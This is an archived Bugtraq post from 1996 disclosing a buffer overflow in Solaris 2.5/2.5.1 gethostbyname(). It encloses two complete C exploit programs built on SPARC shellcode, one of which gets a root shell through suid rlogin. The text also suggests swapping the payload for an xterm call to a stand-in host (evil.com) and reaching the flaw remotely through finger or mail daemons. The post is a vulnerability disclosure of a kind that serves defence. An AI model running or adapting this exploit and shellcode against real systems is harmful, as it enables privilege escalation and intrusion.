Bugtraq mailing list archives
Serious hole in Solaris 2.5[.1] gethostbyname() (exploit included)
From: jelson () helix nih gov (Jeremy Elson)
Date: Mon, 18 Nov 1996 13:38:57 -0500
18 Nov 1996, 13:30 EST Hello, I have found what I believe is a very serious security hole in the gethostbyname() function provided in the nsl library of Solaris 2.5 and 2.5.1. The hole allows local users to gain access to a root shell (exploit program provided below). There is a good chance this exploit can be modified to allow a remote attack, but such a method has not yet been found. gethostbyname() appears to have a buffer overrun problem. Calling gethostbyname() on a Solaris 2.5 or 2.5.1 machine with an argument larger than 8,251 characters causes a segmentation fault or bus error. This does *not* seem to happen under Solaris 2.4; some change made to the NSL library between 2.4 and 2.5 seems to have broken this. The buffer overrun can be readily exploited by passing a string to gethostbyname() that contains assembler code to execute a shell and overwrites the stack's return pointer so the flow of control jumps to that code when the function tries to return. (This technique was described in detail in Phrack 49, and the exploit program below is based on their writeup.) The implications are somewhat alarming. Any program that accepts a hostname from the user without imposing a restriction on the length of the hostname, and resolves it using gethostbyname(), is potentially exploitable. Any suid-root program fitting that description can be used to gain root privileges. The exploit program I have provided uses /usr/bin/rlogin, but the same code also gives a root shell if used in conjunction with rsh, ping, or traceroute. If a suitable daemon can be found, this same technique can probably also be used as a remote exploit. The asm code in my exploit program simply runs /bin/sh (BTW, I didn't write the shellcode myself; I copied it from a similar program). If the code is changed to run something else (for example, 'xterm -display evil.com:0'), and a daemon can be found that will resolve hostnames without restricting their length, remote root access may be possible. For example, any mail daemon might work (HELO <overflow_string>) or the finger daemon (finger krusty@{overflow_string}@victim.com). Note that all sites running a public traceroute or ping gateway under Solaris 2.5 or 2.5.1 are also potentially vulnerable, and probably should disable those services until a patch is available (or indefinitely). Sun has been notified of this bug; they told me they are already aware of it, but a patch is not yet available. Finally, I am enclosing below two programs. The first (rlogin-exploit.c) executes a root shell under Solaris 2.5[.1] by passing an appropriately constructed string to /usr/bin/rlogin as its argument, which rlogin then resolves using gethostbyname(). This program also works to exploit rsh, ping, traceroute, etc. The second (overflow-demo.c) is an almost identical program, except that it directly calls gethostbyname() instead of using rlogin. The result is a shell of the same UID as the calling program. The purpose of this program is simply to demonstrate that the bug is part of the NSL library, not rlogin. Thank you to Jeremy Rauch (jed () cs jhu edu) for useful advice in working up this bug. Jeremy Elson Division of Computer Research and Technology National Institutes of Health Bethesda, MD Email: jeremy.elson () nih gov Phone: (301) 402-0349 -------------------- rlogin-exploit.c -------------------------------------- /* * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines * by exploiting the gethostbyname() overflow in rlogin. * * gcc -o rlogin-exploit rlogin-exploit.c * * Jeremy Elson, 18 Nov 1996 * jeremy.elson () nih gov */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 8200 #define EXTRA 100 #define STACK_OFFSET 4000 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } -------------------- overflow-demo.c -------------------------------------- /* * overflow-demo.c: demonstrates the buffer overrun of gethostbyname() * in Solaris 2.5/2.5.1. This should execute a subshell of the same userid * as the calling program. * * gcc -o overflow-demo overflow-demo.c -lnsl * * Jeremy Elson, 18 Nov 1996 * jeremy.elson () nih gov */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #define BUF_LENGTH 8200 #define EXTRA 100 #define SPARC_NOP 0xa61cc013 #define STACK_OFFSET 4000 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); gethostbyname(buf); }
Current thread:
- Re: Digital Unix v3.x (v4.x?) security vulnerability, (continued)
- Re: Digital Unix v3.x (v4.x?) security vulnerability hj () globecom net (Nov 17)
- Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2). Bryan Reece (Nov 17)
- Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2). Simon Karpen (Nov 17)
- Magic password of some linux-box(Hardware..) Seo Euiseong (Nov 17)
- rplayd on HPUX 10.1 Henrik P Johnson (Nov 19)
- Re: BoS: Magic password of some linux-box(Hardware..) Sergiu Popovici (Nov 19)
- Re: BoS: Magic password of some linux-box(Hardware..) Sergei A. Golubchik (Nov 19)
- Irix: root exploit for LicenseManager Yuri Volobuev (Nov 19)
- Re: BoS: Magic password of some linux-box(Hardware..) moost () xs4all nl (Nov 20)
- Ascend Killer Program Aleph One (Nov 17)
- Serious hole in Solaris 2.5[.1] gethostbyname() (exploit included) Jeremy Elson (Nov 18)
- Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit Craig Raskin (Nov 18)
- Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit Paul B. Henson (Nov 18)
- Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit Russell Street (Nov 18)
- ALERT: Solaris 2.5.1 locks up on TCP connections in Pine 3.9x Todd Vierling (Nov 18)
- Re: ALERT: Solaris 2.5.1 locks up on TCP connections in Pine 3.9x Brian Harvell (Nov 20)
- ssh w/ solaris 2.5.[1] Aleph One (Nov 18)
- Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit Mike Battersby (Nov 18)
- Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit Casper Dik (Nov 19)
- Futile rexecd holes jaeger (Nov 18)
- Re: Futile rexecd holes Roger Espel Llima (Nov 19)